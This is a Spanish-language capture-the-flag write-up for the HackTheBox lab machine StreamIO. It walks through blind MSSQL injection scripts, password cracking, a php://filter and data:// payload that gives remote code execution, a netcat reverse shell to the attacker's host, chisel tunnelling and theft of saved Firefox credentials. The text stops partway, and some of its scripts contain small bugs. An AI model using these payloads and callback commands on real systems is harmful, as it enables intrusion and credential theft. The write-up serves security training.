Resolución de Máquina: StreamIO
Máquina Windows de dificultad Medium(Media). Jugaremos con inyecciones SQL a una gran base de datos ( llenas de películas de dudosa procedencia ) en donde veremos muchas contraseñas cifradas, unos lindos scripts para “ahorrar tiempo”, filtros en base 64, Directorio Activo, y con el confiable Winpeas y su fiel BloodHound para guiarnos a agregar un usuario a un grupo para poder de esa forma, cambiar la contraseña del Administrador ( de forma parcial ).
…
Clasificación de la Máquina según las Personas
Daremos muchas vueltas en circulos, acercandonos a la realidad y un poquito más de vueltas.
…
Como para omitirselo,¿No?…
Bien comenzemos!!!
…
Reconocimiento+
Empezamos con un escaneo tipico de puertos con nmap por TCP, ya que necesitamos información
❯ nmap -p- -v 10.10.11.158
Parámetros | Funcionalidad |
---|---|
-p- | Realiza escaneos en todos los puertos, los 65535 puertos |
-v | Nos da más información mientras escanea los puertos |
Nos reporta que se han encontrado muchos puertos:
Puerto | Ocupación |
---|---|
53 | DNS(Servicio de nombres de dominio): Se utiliza para el/los servidor/es DNS |
80 | HTTP: Es un servidor web |
88 | Kerberos: Es un protocolo para la autenticación de usuarios y recursos dentro de una red Windows |
135 - 593 | MSRPC(Microsoft Remote Procedure Call): Es un servicio que permite a otros sistemas para descubrir qué servicios se anuncian en una máquina |
139 - 445 | NetBIOS: Es un Sistema básico de entrada y salida de red |
389 - 636 - 3268 - 3269 | LDAP(Protocolo de Acceso Ligero a Directorios):Es un protocolo de aplicación que permite que las aplicaciones accedan y autentiquen información específica del usuario en los servicios de directorio |
443 | HTTPS: Es un servidor web que utiliza un cifrado seguro para la comunicación |
5985 | WinRM(Administración Remota de Windows): Es un protocolo de conexión remota que nos permite realizar tareas en la máquina |
Y Blah Blah Blah, el resto no nos servirán.
❯ nmap -p 53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49669,49670,49698,54910 -sCV 10.10.11.158
Parámetros | Funcionalidad |
---|---|
-p | Realiza escaneos sobre los puertos dados |
-sC | Lanza scripts básicos sobre los puertos |
-sV | Permite revelar nombre o versión del servidor |
Dá mucha información sobre los puertos, pero en resumen:
Puerto | Servicio | Observaciones |
---|---|---|
53 | DOMAIN | Simple DNS Plus |
80 | HTTP | Microsoft IIS httpd 10.0 |
88 | KERBEROS-SEC | Microsoft Windows Kerberos |
135 - 593 | MSRPC | Microsoft Windows RPC |
139 - 445 | NetBIOS-SSN | Microsoft Windows netbios-ssn |
389 - 636 - 3268 - 3269 | LDAP | Microsoft Windows Active Directory LDAP |
443 | SSL/HTTP | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP), Name: DNS:streamIO.htb, DNS:watch.streamIO.htb |
464 | KPASSWD5? | [Nada] |
593 | NCACN_HTTP | Microsoft Windows RPC over HTTP 1.0 |
5985 | HTTP | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Enumeración Básica+
Antes de lanzarnos para la página web veamos si podemos conseguir algo con los otros puertos
Vemos el puerto 139 y 445 con crackmapexec con smb podemos ver que versión Windows son estamos enfrentando
❯ crackmapexec smb 10.10.11.158
SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
Tenemos un dominio streamio.htb y su nombre de controlador de dominio(DC), tambien vemos que el smb esta firmardo
Agregamos la dirección ip ‘10.10.11.158’ y a su lado el Dominio ‘streamio.htb’ y ‘dc.streamio.htb’ al /etc/hosts
El término Hosting Virtual se refiere a hacer funcionar más de un sitio web (tales como www.contoso.com y www.contoso2.com) en una sola máquina. Los sitios web virtuales pueden estar «basados en direcciones IP», lo que significa que cada sitio web tiene una dirección IP diferente, o «basados en nombres diferentes», lo que significa que con una sola dirección IP están funcionando sitios web con diferentes nombres (de dominio).
Siguiendo con Samba, probemos otras herramientas, como smbclient
❯ smbclient -N -L 10.10.11.158
session setup failed: NT_STATUS_ACCESS_DENIED
Pero no podemos acceder sin proporcionale datos
Vemos que el puerto 389, 636, 3268 y 3269 estan disponibles asi que, vamos a ver si nos deja listar algunos recursos sin autenticarnos
❯ ldapsearch -x -H ldap://10.10.11.158
# search result
search: 2
result: 1 Operations error
Parece que no es por aqui el camino…
Vamos a ver que tal la página por el puerto 80
IIS(Internet Informtaion Services) y poca cosa hay aqui…
.
Y tambien tiene el puerto 443 disponible, veamos si es bonita la página
Mediante la dirección ip no nos deja, veamos con el dominio que encontramos con crackmapexec
.
Confiamos en HackTheBox y “Hacemos una excepción con este sitio web”
.
Una página para ver peliculas en internet, interesante, y vemos un “Login” es la esquina
Bueno, no tenemos credenciales y nos podemos registrar… o intentar unas Injecciones SQL, para ellos nos vamos a HackTricks para ver cuales posibles caracteres a intentar y ver si funcionan o seguimos otro camino
Veamos si el panel en los dos campos, ‘Username’ y ‘Password’ son vulnerables, para ello le pediremos a la web que tarde 5 segundos en responder, de lo contrario, probaremos otro metodo
admin[Nada] or sleep(5)-- -
admin[Nada] and sleep(5)-- -
admin' or sleep(5)-- -
admin' and sleep(5)-- -
admin" or sleep(5)-- -
admin" and sleep(5)-- -
admin` or sleep(5)-- -
admin` and sleep(5)-- -
admin') or sleep(5)-- -
admin') and sleep(5)-- -
admin") or sleep(5)-- -
admin") and sleep(5)-- -
admin`) or sleep(5)-- -
admin`) and sleep(5)-- -
admin')) or sleep(5)-- -
admin')) and sleep(5)-- -
admin")) or sleep(5)-- -
admin")) and sleep(5)-- -
admin`)) or sleep(5)-- -
admin`)) and sleep(5)-- -
Vaya ninguna funciona, intentemos alternativas relacionada al ‘SLEEP’ como ‘WAITFOR DELAY’
admin' waitfor delay'0:0:5'-- -
Esto hace que la web tarde 5 segundos en responder, y …
Funciona!!! podemos ahora enumerar las columnas actualmente en uso
admin' order by 1,2,3,4 waitfor delay '0:0:5'-- -
Existen 4 columnas, pero no vemos que nos reporte ningún error en la página web
Tocara hacerlo a ciegas y basandonos en el tiempo de respuesta de la página
Basandonos en el siguien argumento, podemos enumerar las bases de datos ordenas por nombres
if (select substring(name,1,1) from sys.databases order by name offset 0 rows fetch next 1 row only)='m' waitfor delay'0:0:5'
Script en Python +
Para no repetir y cambiando cada rato el número y el caracter , podemos automatizarlo con un script hecho en python
#!/usr/bin/python3
from pwn import *
import requests
import pdb
import string
import time
import urllib3
#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase
def sqlinyección():
p1 = log.progress("Fuerza Bruta")
p1.status("Fuerza Bruta")
p2 = log.progress("Base de Datos")
Databases = ""
for columna in range(0, 10):
for posición in range(1, 10):
for palabras in caracter:
urllib3.disable_warnings()
payload = "if (select substring(name, %d, 1) from sys.databases order by name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)
post_data = {
'username': "admin'%s" % (payload),
'password': 'admin'
}
p1.status(post_data['username'])
time.start = time.time()
r = requests.post(ip_address, data=post_data, verify=False)
time.end = time.time()
if time.end - time.start > 5:
Databases += palabra
p2.status(Databases)
break
Databases += ', '
if __name__ == "__main__":
sqlinyección()
Con este metodo podemos extraer las Bases de Datos:
master, model, msdb, streamio, streamio, tempdb
Vemos que funcionar funciona, ahora tocara listar las columnas para ello retocamos el script en el ‘payload’
Con el siguiente argumento podemos listar las columnas actualmente en uso:
if(select substring(table_name,1,1) from information_schema.tables order by table_name offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'
Cambiamos el ‘payload’ por el de arriba y lo ajustamos a la situación:
#!/usr/bin/python3
from pwn import *
import requests
import pdb
import string
import time
import urllib3
#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase
def sqlinyeccon():
p1 = log.progress("Fuerza Bruta")
p1.status("Fuerza Bruta")
p2 = log.progress("Nombre de Tablas")
Tablas = ""
for columna in range(0, 10):
for posición in range(1, 10):
for palabras in caracter:
urllib3.disable_warnings()
payload = "if(select substring(table_name,%d,1) from information_schema.tables order by table_name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posicion, columna, palabras)
post_data = {
'username': "admin'%s" % (payload),
'password': 'admin'
}
p1.status(post_data['username'])
time.start = time.time()
r = requests.post(ip_address, data=post_data, verify=False)
time.end = time.time()
if time.end - time.start > 5:
Tablas += palabra
p2.status(Tablas)
break
Tablas += ', '
if __name__ == "__main__":
sqlinyeccion()
Siguiendo el mismo metodo obtenemos las Tablas:
movies, users
Se ve tentador la Tabla users
Ahora para las Columnas de la Tabla users
modificamos un poco el argumento y le agregamos el nombre de la Tabla a “escanear”:
if(select substring(column_name,1,1) from information_schema.columns where table_name='TABLE_NAME' order by column_name offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'
Hacemos lo mismo que antes, cambiamos el ‘payload’
#!/usr/bin/python3
from pwn import *
import requests
import pdb
import string
import time
import urllib3
#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase + string.punctuation
def sqlinyeccon():
p1 = log.progress("Fuerza Bruta")
p1.status("Fuerza Bruta")
p2 = log.progress("Nombre de columnas")
Columnas = ""
for columna in range(0, 30):
for posición in range(0, 32):
for palabras in caracter:
urllib3.disable_warnings()
payload = "if(select substring(column_name,%d,1) from information_schema.columns where table_name='users' order by column_name offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)
post_data = {
'username': "admin'%s" % (payload),
'password': 'admin'
}
p1.status(post_data['username'])
time.start = time.time()
r = requests.post(ip_address, data=post_data, verify=False)
time.end = time.time()
if time.end - time.start > 5:
Columnas += palabra
p2.status(Columnas)
break
Columnas += ', '
if __name__ == "__main__":
sqlinyeccion()
Extraemos las siguientes columnas:
id, is_staff, password, username
Ahora que pinta mas interesante cambiamos un poco el script del ‘payload’ para dar con los usuario y contraseñas:
if(select substring(COLUMN_NAME,1,1) from TABLA_NAME order by COLUMN_NAME offset 1 rows fetch next 1 row only)='m' waitfor delay'0:0:5'
Y por una última vez cambiamos el ‘payload’
#!/usr/bin/python3
from pwn import *
import requests
import pdb
import string
import time
import urllib3
#Variables Globales
ip_address = "https://streamio.htb/login.php"
caracter = string.ascii_lowercase + string.punctuation
def sqlinyeccon():
p1 = log.progress("Fuerza Bruta")
p1.status("Fuerza Bruta")
p2 = log.progress("Descripción")
Contenido = ""
for columna in range(0, 30):
for posición in range(0, 32):
for palabras in caracter:
urllib3.disable_warnings()
payload = "if(select substring(username,%d,1) from users order by id offset %d rows fetch next 1 row only)='%c' waitfor delay'0:0:5'--" % (posición, columna, palabras)
post_data = {
'username': "admin'%s" % (payload),
'password': 'admin'
}
p1.status(post_data['username'])
time.start = time.time()
r = requests.post(ip_address, data=post_data, verify=False)
time.end = time.time()
if time.end - time.start > 5:
Contenido += palabra
p2.status(Contenido)
break
Contenido += ', '
if __name__ == "__main__":
sqlinyeccion()
Cambiando dentro de ‘payload’ el ‘username’ por ‘password’, obtenemos las contraseñas como hash md5
Sabiendo los nombre de usuarios, pasamos a revelar las contraseñas
username | password |
---|---|
James | c660060492d9edcaa8332d89c99c9239 |
Theodore | 925e5408ecb67aea449373d668b7359e |
Samantha | 083ffae904143c4796e464dac33c1f7d |
Lauren | 08344b85b329d7efd611b7a7743e8a09 |
William | d62be0dc82071bccc1322d64ec5b6c51 |
Sabrina | f87d3c0d6c8fd686aacc6627f1f493a5 |
Robert | f03b910e2bd0313a23fdd7575f34a694 |
Thane | 3577c47eb1e12c8ba021611e1280753c |
Carmon | 35394484d89fcfdb3c5e447fe749d213 |
Barry | 54c88b2dbd7b1a84012fabc1a4c73415 |
Oliver | fd78db29173a5cf701bd69027cb9bf6b |
Michelle | b83439b16f844bd6ffe35c02fe21b3c0 |
Gloria | 0cfaaaafb559f081df2befbe66686de0 |
Victoria | b22abb47a02b52d5dfa27fb0b534f693 |
Alexendra | 1c2b3d8270321140e5153f6637d3ee53 |
Baxter | 22ee218331afd081b0dcd8115284bae3 |
Clara | ef8f3d30a856cf166fb8215aca93e9ff |
Barbra | 3961548825e3e21df5646cafe11c6c76 |
Lenord | ee0b8a0937abd60c2882eacb2f8dc49f |
Austin | 0049ac57646627b8d7aeaccf8b6a936f |
Garfield | 8097cedd612cc37c29db152b6e9edbd3 |
Juliette | 6dcd87740abb64edfa36d170f0d5450d |
Victor | bf55e15b119860a6e6b5a164377da719 |
Lucifer | 7df45a9e3de3863807c026ba48e55fb3 |
Bruno | 2a4e2cf22dd8fcb45adcb91be1e22ae8 |
Diablo | ec33265e5fc8c2f1b0c137bb7b3632b5 |
Robin | dc332fb5576e9631c9dae83f194f8e70 |
Stan | 384463526d288edcc95fc3701e523bc7 |
yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 |
admin | 665a50ac9eaa781e4f7f04199db97a11 |
Tenemos los nombres y sus hashes, podemos crackearlos de manera local o usando páginas para esto.
En mi caso useare el confiable John the Ripper
john -w:$(locate -r 'rockyou.txt$') hashes --format=raw-md5
...[snip]...
Loaded 30 password hashes with no different salts (Raw-MD5 [MD5 128/128 AVX 4x3])
...[snip]...
highschoolmusical (Thane)
physics69i (Lenord)
paddpadd (admin)
66boysandgirls.. (yoshihide)
%$clara (Clara)
$monique$1991$ (Bruno)
$hadoW (Barry)
$3xybitch (Juliette)
##123a8j8w5123## (Lauren)
!?Love?!123 (Michelle)
!5psycho8! (Victoria)
!!sabrina$ (Sabrina)
...[snip]...
Ahora con credenciales, no se si son validas para el login con respecto al usuario
Primero para no perder tiempo nos sercioramos que si alguna credencial es valida para ver recursos compartidos a nivel de red:
❯ crackmapexec smb 10.10.11.158 -u user.txt -p pass.txt
SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [-] streamIO.htb\[user.txt]:[pass.txt] STATUS_LOGON_FAILURE
...[snip]...
Ninguna para Samba es correcta
Script en Bash +
Asi que, porque no hacer un pequeño script en bash para agilizar la jugada en el panel de login
Almacenamos todos los nombres en user.txt y las contraseñas reveladas en pass.txt (todos en una sola linea y separada por un espacio) y ejecutamos el siguiente script de bash:
#!/bin/bash
for user in $(cat user.txt);do
for pass in $(cat pass.txt);do
bash -c "curl -s -X POST \"https://streamio.htb/login.php\" -d \"username=$user&password=$pass\" -k | grep 'Login failed'"
&>/dev/null
sleep 0
if [[ $? != 0 ]];then
echo "La credencial correcta es = $user : $pass"
exit 0
else
echo "No es correcta = $user : $pass"
fi
done
done
Si todo va bien, el codigo de estado sera exitoso(0) cuando encuentre la credencial correcta
Y vemos que ‘yoshihide’es un usuario que coincide con la contraseña ‘66boysandgirls..’
En el panel de login introducimos las credenciales, y nos iniciar seción pero…
No veo ninguna configuración, vamos a buscar directorios.
Yo útilizare WFUZZ
❯ wfuzz -c -t 100 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt https://streamio.htb/FUZZ
Target: https://streamio.htb/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 1 L 10 W 151 Ch "images"
000000245: 301 1 L 10 W 150 Ch "admin"
...[snip]...
Vemos un directorio “admin”, veamos que se esconde
Hay un panel simple, pero cualquier enlace nos da una URL por el metodo GET
Por lo que, ya que usamos WFUZZ para los directorios, lo haremos devuelta pero con el lugar siguiente del interrogante final ?, pero para FUZZEAR por “admin” tendremos que arrastrar la cookie de sessión
❯ wfuzz -c -t 100 --hh=1678 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "https://streamio.htb/admin/?FUZZ=" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a"
Target: https://streamio.htb/admin/?FUZZ=
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000111: 200 62 L 160 W 2073 Ch "user"
000000231: 200 398 L 916 W 12484 Ch "staff"
000001047: 200 10790 25878 W 320235 Ch "movie"
000005697: 200 49 L 137 W 1712 Ch "debug"
Existe el parametro “debug”, pero es solo para programadores
Ahora intentemos FUZZEAR por algun archivo o argumento
❯ wfuzz -c --hh=1712 -w /usr/share/SecLists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt -u "https://streamio.htb/admin/?debug=FUZZ" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a"
Target: https://streamio.htb/admin/?debug=FUZZ
Total requests: 20721
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000186: 200 46 L 136 W 1693 Ch "index.php"
000005319: 200 11182 26760 W 343443 Ch "master.php"
Dos archivos index.php y master.php, pero nos sigue diciendo que solo los programadores pueder verlo
Probamos algunos filtros como los siguientes:
php://filter/convert.base64-encode/resource=index.php Lo representa en Base64
php://filter/convert.base64_encode/resource=index.php Devuelve todo el contenido y lo interpreta en la página
Es más comodo que lo represente en base64 para que de nuestro lado sea más fácil de expresar
Nos devuelve todo el codigo fuente del index.php en base64, lo deciframos y lo almacenamos en un archivo
❯ echo "onlyPD9waHA ...[snip]... C9odG1sPg==" | base64 -d > index.php
Las primeras lineas del index.php vemos una definición en php y vemos un usuario y una contraseña en “texto plano” para la base de datos
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>
Pero, como no tenemos acceso a la base de datos no nos servira, por ahora
Hacemos exactamente lo mismo pero en vez de index.php ponemos master.php
<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
..[snip]...
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Vemos que existe una definición ‘include’ en las lineas finlas del codigo fuente de master.php
Explotación +
Mirando este articulo se puede provocar un LFI(local file include)
Usaré el cifrado en base64 para ver si funcioná
❯ echo "c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==" | base64 -d
system($_GET['cmd']);
https://streamio.htb/admin/?include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=whoami
Probamos y vemos que no funciona asi, veamos desde la terminal
❯ curl -s -X POST 'https://streamio.htb/admin/?include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=whoami' -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k | grep streamio ; echo $?
1
El codigo de estado de la respuesta es un 1, osea no exitoso
Cambiamos el metodo por enviar data por POST como un binario en base64
❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==" 'https://streamio.htb/admin/?cmd=whoami' -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k | grep streamio ; echo $?
1
…
Despues de muchos intentos, pude dar con el problema
El ‘include’ solo se aprecia en el master.php por ende la cadena en base64 la estoy enviando a master.php
❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=whoami" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio
streamio\yoshihide
Tenemos un RCE
Ahora le podemos cargar el netcat y lo ejecutamos para ganar acceso a la máquina
Nos ponemos en escucha por un puerto donde este el netcat.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Le cargamos el netcat.exe y lo depositamos en un directorio común que tengamos acceso
❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=curl+http://10.10.14.10/nc.exe+-o+c:/windows/temp/nc.exe" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio
Nos ponemos en escucha con netcat en nuestro equipo para recibir la consola interactiva
❯ rlwrap nc -nvlp 6060
Interpretamos el netcat para que nos de la consola
❯ curl -s --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" "https://streamio.htb/admin/?debug=master.php&cmd=c:/windows/temp/nc.exe+-e+cmd+10.10.14.10+6060" -H "Cookie: PHPSESSID=i6r25al9765eq02gnv5hm92b0a" -k |grep streamio
Primer acercamiento a la Máquina +
Ya entramos en la máquina!!
Connection from 10.10.11.158:49948
Microsoft Windows [Version 10.0.17763.2928]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\inetpub\streamio.htb\admin>whoami
whoami
streamio\yoshihide
No tardaremos muchos en saber que no podemos hacer mucho con este usuario, aúnque hay una base de datos
PS C:\inetpub\streamio.htb\admin> netstat -nat | select-string 'tcp'
netstat -nat | select-string 'tcp'
...[snip]...
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING InHost
...[snip]...
TCP 10.10.11.158:1433 10.10.11.158:60029 ESTABLISHED InHost
...[snip]...
TCP [::]:1433 [::]:0 LISTENING InHost
...[snip]...
Esta abierto el puerto 1433 internamente (se veia venir)
Le cargamos el chisel.exe para que nuestro puerto 1433 se convierta en el puerto 1433 de la máquina
Abrimos un servidor compartido en python3 para ofrecer el chisel.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y en la máquina lo descargamos
PS C:\inetpub\streamio.htb\admin> curl http://10.10.14.50/chisel.exe -o C:/Windows/Temp/chisel.exe
PS C:\inetpub\streamio.htb\admin>
Primero nos ponemos en escucha en un puerto de forma reversa
❯ ./chisel server --reverse --host 10.10.14.10 -p 8999
2022/09/14 15:10:10 server: Reverse tunnelling enabled
2022/09/14 15:10:10 server: Fingerprint IN043BV4GbFXRvRufBpQQUNrCv3a0xL7/uoOSBZrDU=
2022/09/14 15:10:10 server: Listening on http://10.10.14.10:8999
Ponemos la ruta absoluda del chisel.exe y seguimos los parametros indicados
PS C:\inetpub\streamio.htb\admin> C:/Windows/Temp/chisel.exe client 10.10.14.50:1236 R:1433:10.10.11.158:1433
c:/windows/temp/chisel.exe client 10.10.14.10:8999 R:1433:10.10.11.158:1433
2022/09/14 15:15:15 client: Connecting to ws://10.10.14.10:8999
2022/09/14 15:15:15 client: Connected (Latency 100ms)
Listo tenemos su puerto 1433 y por ende la base de datos
❯ lsof -i:1433
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chisel 51401 husky 9u IPv6 365972 0t0 TCP *:ms-sql-s (LISTEN)
Base de datos “Local” +
Teniendo su puerto de forma local y posibles credenciales de la base de datos que nos revela index.php, podemos usar mssqlclient.py para ver que contiene o si oculta algo
❯ mssqlclient.py streamio/db_admin:'B1@hx31234567890'@localhost
Impacket v0.10.1.dev1 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL>
Ahora podemos ver toda la base de datos
SQL> select name from sys.databases
name
-------------------------------------------------------
master
tempdb
model
msdb
STREAMIO
streamio_backup
SQL> use streamio_backup
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
SQL> select table_name from information_schema.tables
table_name
--------------------------------------------------------
movies
users
SQL> select column_name from information_schema.columns where table_name='users'
column_name
--------------------------------------------------------
id
username
password
SQL> select username,password from users
username password
----------------------- --------------------------------
nikk37 389d14cb8e4e9b94b137deb1caf0612a
...[snip]...
Un Usuario escondido +
Vemos otras bases de datos como ‘streamio_backup’, en ella tambien se oculta un usuario ‘nikk37’ que no lo hemos visto en el primer reconocimiento
Crackeamos el nuevo hash para ver la contraseña:
❯ john -w:$(locate -r 'rockyou.txt$') hash --format=raw-md5
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
get_dem_girls2@yahoo.com (nikk37)
Verificamos si el usuario y esa contraseña se reutiliza con el resto con crackmapexec:
❯ crackmapexec smb 10.10.11.158 -u user.txt -p 'get_dem_girls2@yahoo.com'
SMB 10.10.11.158 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.158 445 DC [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
Y es valida para Samba, ahora veamos si tiene habilitado la administración remota de usuario
❯ crackmapexec winrm 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com' --continue-on-success
SMB 10.10.11.158 5985 NONE [*] None (name:10.10.11.158) (domain:None)
HTTP 10.10.11.158 5985 NONE [*] http://10.10.11.158:5985/wsman
WINRM 10.10.11.158 5985 NONE [+] None\nikk37:get_dem_girls2@yahoo.com (Pwn3d!)
Lo tiene, entonces podemos conectarnos de forma remota con Evil-WinRM
❯ evil-winrm -i 10.10.11.158 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nikk37\Documents> whoami
streamio\nikk37
Escalada de Privilegios +
Mirando lo básico del usuario no disponemos de mucho, veamos que nos reporta WinPeas.exe, como estamos usando Evil-WinRM podemos usar el comando que tiene incluido para subir archivos upload
*Evil-WinRM* PS C:\Users\nikk37\Documents> upload /opt/winpeas.exe
Info: Uploading /opt/winpeas.exe to C:\Users\nikk37\Documents\winpeas.exe
Data: 2581844 bytes of 2581844 bytes copied
Info: Upload successful!
Antes de ejecutarlo, existen ciertas ocasiones en las que, al reportar tanta información se pierde en el trayecto, tendremos que almacenarlo en un archivo para analizarlo con calma
Con smbserver.py podemos compartir un recurso a nivel de red que este sincronizado con nuestro directorio actual, y como es windows 10 hay que dar el soporte a la versión de Samba
❯ smbserver.py carpeta $(pwd) -smb2support
Impacket v0.10.1.dev1 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Ahora con total seguridad, lo ejecutamos y lo enviamos al recurso compartido y esperamos a que termine
*Evil-WinRM* PS C:\Users\nikk37\Documents> ./winpeas.exe > \\10.10.14.10\carpeta\winpeas.txt
Una vez que termine miramos lo que descubrio Winpeas.exe
((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
((((((((((((((**********/##########.((((((((((((
(((((((((((/********************/#######.((((((((((
(((((((.******************/@@@@@/****######.(((((((((
(((((.********************@@@@@@@@@@/***,####.(((((((((
((((.********************/@@@@@%@@@@/********##(((((((((
.((############*********/%@@@@@@@@@/************.(((((((
.(##################(/******/@@@@@/***************.(((((
.(#########################(/**********************.((((
.(##############################(/*****************.((((
.(###################################(/************.((((
.(#######################################(*********.((((
.(#######(,.***.,(###################(..***.*******.((((
.(#######*(#####((##################((######/(*****.((((
.(###################(/***********(##############().((((
.((#####################/*******(################)((((((
.(((############################################).(((((
..(((##########################################).((((((
....((########################################).((((((
......((####################################).(((((((
(((((((((#################################).((((((((
(((((((((/##########################).((((((((
((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((
...[snip]...
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for Firefox DBs
È https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history
Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
È Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
...[snip]...
Vemos que existen accesos a Firefox con inicios de seciones, con Evil-WinRM podemos descargar los archivos importantes donde esta las credenciales guardadas.
*Evil-WinRM* PS C:\Users\nikk37\Documents> download c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/key4.db /opt/streamio/key4.db
Info: Downloading c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/key4.db to /opt/StreamIO/key4.db
Info: Download successful!
*Evil-WinRM* PS C:\Users\nikk37\Documents> download c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/logins.json /opt/streamio/logins.json
Info: Downloading c:/users/nikk37/appdata/roaming/mozilla/firefox/profiles/br53rxeg.default-release/logins.json to /opt/StreamIO/logins.json
Info: Download successful!
Y con la herramienta firepwd.py podemos decifrar el contenido almacenado
❯ git clone https://github.com/lclevy/firepwd
...[snip]...
❯ mv key4.db logins.json firepwd/
❯ python3 firapwd/firepwd.py
...[snip]...
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
Comprobamos con crackmapexec si las credenciales son validas
❯ crackmapexec smb 10.10.11.158 -u user2 -p pass2
